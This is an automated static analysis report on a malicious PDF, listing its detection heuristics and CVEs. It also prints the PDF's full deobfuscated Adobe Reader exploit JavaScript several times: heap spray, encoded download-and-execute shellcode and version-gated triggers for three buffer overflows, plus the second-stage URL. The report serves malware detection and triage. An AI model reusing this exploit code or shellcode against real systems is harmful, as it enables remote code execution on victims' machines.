Malicious PDF — malware analysis report

Static analysis result for SHA-256 33668743262a5863…

MALICIOUS

PDF

2.5 KB Created: 2008-31-20 53:85:00 Authoring application: aaaaaaaa First seen: 2012-07-12
MD5: 383bed11013d102063abe24b089924d2 SHA-1: 17a2c186460fa7a7e10d2a3cda22ee2dd3e666c3 SHA-256: 33668743262a5863f73a4b3d6e48d2a2cc8ac433de01402b980fa37549f95d7d
630 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link T1204.002 Malicious File

This PDF file contains embedded JavaScript that exploits multiple Adobe Reader vulnerabilities, specifically CVE-2009-0927 (Collab.getIcon), CVE-2007-5659 (Collab.collectEmailInfo), and CVE-2008-2992 (util.printf). The JavaScript streams are combined and obfuscated, indicating an exploit kit designed to deliver a second-stage payload. The ML classifier and ClamAV detection further confirm its malicious nature.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-36014 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36014
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    vars18f=newArray();functiona39y(d23y,j96l){while(d23y.length*2<j96l){d23y=d23y;}d23y=d23y.substring(0,j96l/2);returnd23y;}functione69d(p58o){varh4t=0x0c0c0c0c;vare97n=unescape(%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Hex-obfuscated structural name object high PDF_OBFUSCATED_NAME_OBJECT
    A structurally-dangerous PDF name (e.g. /OpenAction, /Launch, /AA, /EmbeddedFile, /SubmitForm) is written with #XX hex escapes to evade string-based scanners. Legitimate producers write these names literally; hex-encoding them is a deliberate obfuscation technique.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://eadj.ru/exp/load.php?stat=Windows Referenced by PDF JavaScript
    • http://eadj.ru/exp/load.php?stat=WReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 7

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x328 3779 bytes
SHA-256: 0b7d3d6e78f6a8b8951a0db97cbd64ee24f5037c7c116ade0471ccbd7e91a3e2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var s18f = new Array();
function a39y(d23y, j96l){
 while (d23y.length * 2 < j96l){
d23y += d23y;
}
d23y = d23y.substring(0, j96l / 2);
return d23y;
}
function e69d(p58o){
var h4t = 0x0c0c0c0c;
var e97n = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u652F%u6461%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5620%u7369%u6174%u497C%u746E%u2F65%u6F6C%u6461%u702E%u7068%u7326%u313D");
if (p58o == 1){
h4t = 0x30303030;
e97n = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u652F%u6461%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5620%u7369%u6174%u497C%u746E%u2F65%u6F6C%u6461%u702E%u7068%u7326%u323D");
}
if (p58o == 2){
e97n = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u652F%u6461%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5620%u7369%u6174%u497C%u746E%u2F65%u6F6C%u6461%u702E%u7068%u7326%u333D");
}
var e54x = 0x400000;
var o91m = e97n.length * 2;
var j96l = e54x - (o91m + 0x38);
var d23y = unescape("%u9090%u9090");
d23y = a39y(d23y, j96l);
var r62s = (h4t - 0x400000) / e54x;
for (var x66c = 0; x66c < r62s; x66c ++ ){
s18f[x66c] = d23y + e97n;
}
}
function v80i(){
var u20h = app.viewerVersion.toString();
if (u20h > 8){
e69d(1);
var g41z = "12999999999999999999";
for (k5n = 0; k5n < 276; k5n ++ ){
g41z += "8";
}
util.printf("%45000f", g41z);
}
if (u20h < 8){
e69d(0);
var b38p = unescape("%u0c0c%u0c0c");
while (b38p.length < 44952)b38p += b38p;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : b38p});
}
if (u20h < 9.1)
{
if (app.doc.Collab.getIcon){
e69d(2);
var u58o = unescape("%09");
while (u58o.length < 0x4000)u58o += u58o;
u58o = "N." + u58o;
app.doc.Collab.getIcon(u58o);
}
}
}
v80i();
javascript_obj0013_001_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 288 bytes
SHA-256: 6a9d3766598ec31214a2edc0864cb9fa0305a91afa195c6c99c9259b762dae50
javascript_obj0013_001_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 288 bytes
SHA-256: e225c4474b49c93dcca0c61868dc574e2ccc7ab55c768c3c88bbc9076bd11d4d
javascript_obj0013_001_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 288 bytes
SHA-256: 288dff8e9918e84e2e1fe11432ad410c456739d23d9e648e1747566f56639759
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 13 at offset 0x328 3775 bytes
SHA-256: 514ab0e9421e324d84c07ea3c1a8a6301d92f0a6a0350102137fc96432fd527e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var s18f = new Array();
function a39y(d23y, j96l){
 while (d23y.length * 2 < j96l){
d23y += d23y;
}
d23y = d23y.substring(0, j96l / 2);
return d23y;
}
function e69d(p58o){
var h4t = 0x0c0c0c0c;
var e97n = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u652F%u6461%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5620%u7369%u6174%u497C%u746E%u2F65%u6F6C%u6461%u702E%u7068%u7326%u313D");
if (p58o == 1){
h4t = 0x30303030;
e97n = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u652F%u6461%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5620%u7369%u6174%u497C%u746E%u2F65%u6F6C%u6461%u702E%u7068%u7326%u323D");
}
if (p58o == 2){
e97n = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u652F%u6461%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5620%u7369%u6174%u497C%u746E%u2F65%u6F6C%u6461%u702E%u7068%u7326%u333D");
}
var e54x = 0x400000;
var o91m = e97n.length * 2;
var j96l = e54x - (o91m + 0x38);
var d23y = unescape("%u9090%u9090");
d23y = a39y(d23y, j96l);
var r62s = (h4t - 0x400000) / e54x;
for (var x66c = 0; x66c < r62s; x66c ++ ){
s18f[x66c] = d23y + e97n;
}
}
function v80i(){
var u20h = app.viewerVersion.toString();
if (u20h > 8){
e69d(1);
var g41z = "12999999999999999999";
for (k5n = 0; k5n < 276; k5n ++ ){
g41z += "8";
}
util.printf("E000f", g41z);
}
if (u20h < 8){
e69d(0);
var b38p = unescape("%u0c0c%u0c0c");
while (b38p.length < 44952)b38p += b38p;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : b38p});
}
if (u20h < 9.1)
{
if (app.doc.Collab.getIcon){
e69d(2);
var u58o = unescape("	");
while (u58o.length < 0x4000)u58o += u58o;
u58o = "N." + u58o;
app.doc.Collab.getIcon(u58o);
}
}
}
v80i();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x9 3786 bytes
SHA-256: 07fd46f18bb4ee9345a3362afd7adad8c923968644d67f7a8233e8a6a310758b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var s18f = new Array();
function a39y(d23y, j96l){
 while (d23y.length * 2 < j96l){
d23y += d23y;
}
d23y = d23y.substring(0, j96l / 2);
return d23y;
}
function e69d(p58o){
var h4t = 0x0c0c0c0c;
var e97n = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u652F%u6461%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5620%u7369%u6174%u497C%u746E%u2F65%u6F6C%u6461%u702E%u7068%u7326%u313D");
if (p58o == 1){
h4t = 0x30303030;
e97n = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u652F%u6461%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5620%u7369%u6174%u497C%u746E%u2F65%u6F6C%u6461%u702E%u7068%u7326%u323D");
}
if (p58o == 2){
e97n = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u652F%u6461%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5620%u7369%u6174%u497C%u746E%u2F65%u6F6C%u6461%u702E%u7068%u7326%u333D");
}
var e54x = 0x400000;
var o91m = e97n.length * 2;
var j96l = e54x - (o91m + 0x38);
var d23y = unescape("%u9090%u9090");
d23y = a39y(d23y, j96l);
var r62s = (h4t - 0x400000) / e54x;
for (var x66c = 0; x66c < r62s; x66c ++ ){
s18f[x66c] = d23y + e97n;
}
}
function v80i(){
var u20h = app.viewerVersion.toString();
if (u20h > 8){
e69d(1);
var g41z = "12999999999999999999";
for (k5n = 0; k5n < 276; k5n ++ ){
g41z += "8";
}
util.printf("E000f", g41z);
}
if (u20h < 8){
e69d(0);
var b38p = unescape("%u0c0c%u0c0c");
while (b38p.length < 44952)b38p += b38p;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : b38p});
}
if (u20h < 9.1)
{
if (app.doc.Collab.getIcon){
e69d(2);
var u58o = unescape("	");
while (u58o.length < 0x4000)u58o += u58o;
u58o = "N." + u58o;
app.doc.Collab.getIcon(u58o);
}
}
}
v80i();
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0x9 3790 bytes
SHA-256: 3b29f896a2e63f0c1c6150ca337b5ccd159dbca0bbbd64fc07ab63863f2eb5c7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var s18f = new Array();
function a39y(d23y, j96l){
 while (d23y.length * 2 < j96l){
d23y += d23y;
}
d23y = d23y.substring(0, j96l / 2);
return d23y;
}
function e69d(p58o){
var h4t = 0x0c0c0c0c;
var e97n = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u652F%u6461%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5620%u7369%u6174%u497C%u746E%u2F65%u6F6C%u6461%u702E%u7068%u7326%u313D");
if (p58o == 1){
h4t = 0x30303030;
e97n = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u652F%u6461%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5620%u7369%u6174%u497C%u746E%u2F65%u6F6C%u6461%u702E%u7068%u7326%u323D");
}
if (p58o == 2){
e97n = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u652F%u6461%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5620%u7369%u6174%u497C%u746E%u2F65%u6F6C%u6461%u702E%u7068%u7326%u333D");
}
var e54x = 0x400000;
var o91m = e97n.length * 2;
var j96l = e54x - (o91m + 0x38);
var d23y = unescape("%u9090%u9090");
d23y = a39y(d23y, j96l);
var r62s = (h4t - 0x400000) / e54x;
for (var x66c = 0; x66c < r62s; x66c ++ ){
s18f[x66c] = d23y + e97n;
}
}
function v80i(){
var u20h = app.viewerVersion.toString();
if (u20h > 8){
e69d(1);
var g41z = "12999999999999999999";
for (k5n = 0; k5n < 276; k5n ++ ){
g41z += "8";
}
util.printf("%45000f", g41z);
}
if (u20h < 8){
e69d(0);
var b38p = unescape("%u0c0c%u0c0c");
while (b38p.length < 44952)b38p += b38p;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : b38p});
}
if (u20h < 9.1)
{
if (app.doc.Collab.getIcon){
e69d(2);
var u58o = unescape("%09");
while (u58o.length < 0x4000)u58o += u58o;
u58o = "N." + u58o;
app.doc.Collab.getIcon(u58o);
}
}
}
v80i();

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